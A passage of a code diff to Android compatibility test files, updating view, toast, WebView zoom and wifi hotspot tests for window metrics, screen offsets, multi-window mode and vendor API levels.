import android.view.ViewTreeObserver;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
import android.view.accessibility.AccessibilityEvent;
import android.view.animation.AlphaAnimation;
import android.view.animation.Animation;
@@ -3834,14 +3837,18 @@
Rect outRect = new Rect();
View view = new View(mActivity);
// mAttachInfo is null
- DisplayManager dm = (DisplayManager) mActivity.getApplicationContext().getSystemService(
- Context.DISPLAY_SERVICE);
- Display d = dm.getDisplay(Display.DEFAULT_DISPLAY);
view.getWindowVisibleDisplayFrame(outRect);
+ final WindowManager windowManager = mActivity.getWindowManager();
+ final WindowMetrics metrics = windowManager.getMaximumWindowMetrics();
+ final Insets insets =
+ metrics.getWindowInsets().getInsets(
+ WindowInsets.Type.navigationBars() | WindowInsets.Type.displayCutout());
+ final int expectedWidth = metrics.getBounds().width() - insets.left - insets.right;
+ final int expectedHeight = metrics.getBounds().height() - insets.top - insets.bottom;
assertEquals(0, outRect.left);
assertEquals(0, outRect.top);
- assertEquals(d.getWidth(), outRect.right);
- assertEquals(d.getHeight(), outRect.bottom);
+ assertEquals(expectedWidth, outRect.right);
+ assertEquals(expectedHeight, outRect.bottom);
// mAttachInfo is not null
outRect = new Rect();
@@ -4882,7 +4889,7 @@
float[] newValues = new float[9];
newMatrix.getValues(newValues);
int[] location = new int[2];
- view.getLocationInWindow(location);
+ view.getLocationOnScreen(location);
boolean hasChanged = false;
for (int i = 0; i < 9; ++i) {
if (initialValues[i] != newValues[i]) {
@@ -4890,7 +4897,7 @@
}
}
assertTrue("Matrix should be changed", hasChanged);
- assertEquals("Matrix should reflect position in window",
+ assertEquals("Matrix should reflect position on screen",
location[1], newValues[5], 0.001);
}
diff --git a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
index 67d5de4..b0ec086 100644
--- a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
@@ -139,27 +139,33 @@
// If resampling happened, the coordinates and event time would resample to new position.
private static void compareEvent(final MotionEvent sentEvent,
- final ReceivedEvent receivedEvent) {
+ final ReceivedEvent receivedEvent, final int[] offsets) {
assertEquals(sentEvent.getAction(), receivedEvent.mAction);
- assertEquals((int) sentEvent.getX(), receivedEvent.mX, 0);
+ assertEquals((int) sentEvent.getX(), receivedEvent.mX + offsets[0]);
+ assertEquals((int) sentEvent.getY(), receivedEvent.mY + offsets[1]);
assertEquals(sentEvent.getEventTime(), receivedEvent.mEventTime);
assertEquals(sentEvent.getSource(), receivedEvent.mSource);
}
private void compareEvents(final BlockingQueue<MotionEvent> sentEvents,
- final BlockingQueue<ReceivedEvent> receivedEvents) {
+ final BlockingQueue<ReceivedEvent> receivedEvents, final int[] offsets) {
assertEquals(sentEvents.size(), receivedEvents.size());
for (int i = 0; i < sentEvents.size(); i++) {
MotionEvent sentEvent = sentEvents.poll();
ReceivedEvent receivedEvent = receivedEvents.poll();
- compareEvent(sentEvent, receivedEvent);
+ compareEvent(sentEvent, receivedEvent, offsets);
}
}
- private Point getViewCenterOnScreen(View view) {
+ private int[] getViewLocationOnScreen(View view) {
final int[] xy = new int[2];
view.getLocationOnScreen(xy);
+ return xy;
+ }
+
+ private Point getViewCenterOnScreen(View view) {
+ final int[] xy = getViewLocationOnScreen(view);
final int viewWidth = view.getWidth();
final int viewHeight = view.getHeight();
@@ -276,7 +282,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested touch screen unbuffered from MotionEvent.
@@ -295,7 +301,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested unbuffered source but reset it later.
@@ -330,7 +336,7 @@
sendJoystickEvents(0, 0);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, new int[]{0, 0});
}
// Test view requested joystick unbuffered but no focus.
@@ -362,7 +368,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested different source unbuffered from the received events.
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 39a3b92fa..9401370 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -256,6 +256,13 @@
DisplayMetrics metrics = new DisplayMetrics();
display.getMetrics(metrics);
+ final DisplayManager displayManager =
+ (DisplayManager) CapturedActivity.this.getSystemService(
+ Context.DISPLAY_SERVICE);
+ final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+ final int rotation = defaultDisplay.getRotation();
+ Display.Mode mode = defaultDisplay.getMode();
+
View testAreaView = findViewById(android.R.id.content);
Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
int[] topLeft = new int[2];
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index b426764..1eed020 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -328,6 +328,13 @@
ScaleChangedState state = waitForNextScaleChange();
assertEquals(currentScale, state.mOldScale);
+
+ // Zoom scale changes can come in multiple steps and the initial scale may have
+ // conversion errors. Wait for the first significant scale change.
+ while (Math.abs(state.mNewScale - state.mOldScale) < PAGE_SCALE_EPSILON) {
+ state = waitForNextScaleChange();
+ }
+
// Check that we zoomed in the expected direction wrt. the current scale.
if (scaleAmount > 1.0f) {
assertThat(
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 8bd31e9..148e6a8 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -278,8 +278,9 @@
} else {
// On narrow screens, it's possible for the popup to reach the edge
// of the screen.
- int rightmostX =
- getDisplay().getWidth() - mPopupWindow.getWidth() + listViewInWindowXY[0];
+ final int displayWidth =
+ mActivity.getWindowManager().getMaximumWindowMetrics().getBounds().width();
+ final int rightmostX = displayWidth - mPopupWindow.getWidth() + listViewInWindowXY[0];
if (expectedListViewOnScreenX > rightmostX) {
expectedListViewOnScreenX = rightmostX;
}
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index ab81b26..fb1c7ba 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -736,7 +736,12 @@
mActivityRule.runOnUiThread(mToast::show);
- assertNotShowCustomToast(view);
+ // The custom toast should not be blocked in multi-window mode. Otherwise, it should be.
+ if (mActivityRule.getActivity().isInMultiWindowMode()) {
+ assertShowCustomToast(view);
+ } else {
+ assertNotShowCustomToast(view);
+ }
mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
}
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index ed8daba..792cfd1 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -38,6 +38,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 0adf3b9..8502db1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -31,6 +31,7 @@
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiUsabilityStatsEntry;
+import android.os.Build;
import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiDevice;
import android.telephony.TelephonyManager;
@@ -40,6 +41,7 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -158,6 +160,10 @@
*/
@Test
public void testWifiUsabilityStatsEntry() throws Exception {
+ // Usability stats collection only supported by vendor version Q and above.
+ if (!PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)) {
+ return;
+ }
CountDownLatch countDownLatch = new CountDownLatch(1);
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
TestUsabilityStatsListener usabilityStatsListener =
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e8c5c27..f1d2a23 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -66,6 +66,7 @@
import android.os.SystemClock;
import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.support.test.uiautomator.UiDevice;
import android.telephony.TelephonyManager;
@@ -817,8 +818,9 @@
int securityType = softApConfig.getSecurityType();
if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
|| securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
- assertNotNull(softApConfig.toWifiConfiguration());
- } else {
+ // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+ assertNotNull(softApConfig.toWifiConfiguration());
+ } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
assertNull(softApConfig.toWifiConfiguration());
}
if (!hasAutomotiveFeature()) {
@@ -976,7 +978,7 @@
}
}
- public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+ public void testStartLocalOnlyHotspotWithConfigBssid() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
@@ -998,8 +1000,58 @@
boolean wifiEnabled = mWifiManager.isWifiEnabled();
mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
- Log.d(TAG, "Sleeping for 2 seconds");
- Thread.sleep(2000);
+ // now wait for callback
+ Thread.sleep(TEST_WAIT_DURATION_MS);
+
+ // Verify callback is run on the supplied executor
+ assertFalse(callback.onStartedCalled);
+ executor.runAll();
+ if (callback.onFailedCalled) {
+ // TODO: b/160752000, customize bssid might not support.
+ // Allow the specific error code.
+ assertEquals(callback.failureReason,
+ WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
+ } else {
+ assertTrue(callback.onStartedCalled);
+
+ assertNotNull(callback.reservation);
+ SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+ assertNotNull(softApConfig);
+ assertEquals(TEST_MAC, softApConfig.getBssid());
+ assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+ assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
+
+ // clean up
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ }
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ public void testStartLocalOnlyHotspotWithNullBssidConfig() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
+ if (!mWifiManager.isPortableHotspotSupported()) {
+ return;
+ }
+ SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .build();
+ TestExecutor executor = new TestExecutor();
+ TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+ mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+ // now wait for callback
+ Thread.sleep(TEST_WAIT_DURATION_MS);
// Verify callback is run on the supplied executor
assertFalse(callback.onStartedCalled);
@@ -1009,7 +1061,6 @@
assertNotNull(callback.reservation);
SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
assertNotNull(softApConfig);
- assertEquals(TEST_MAC, softApConfig.getBssid());
assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
@@ -1892,6 +1943,7 @@
* Tests {@link WifiManager#forget(int, WifiManager.ActionListener)} by adding/removing a new
* network.
*/
+ @SecurityTest
public void testForget() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported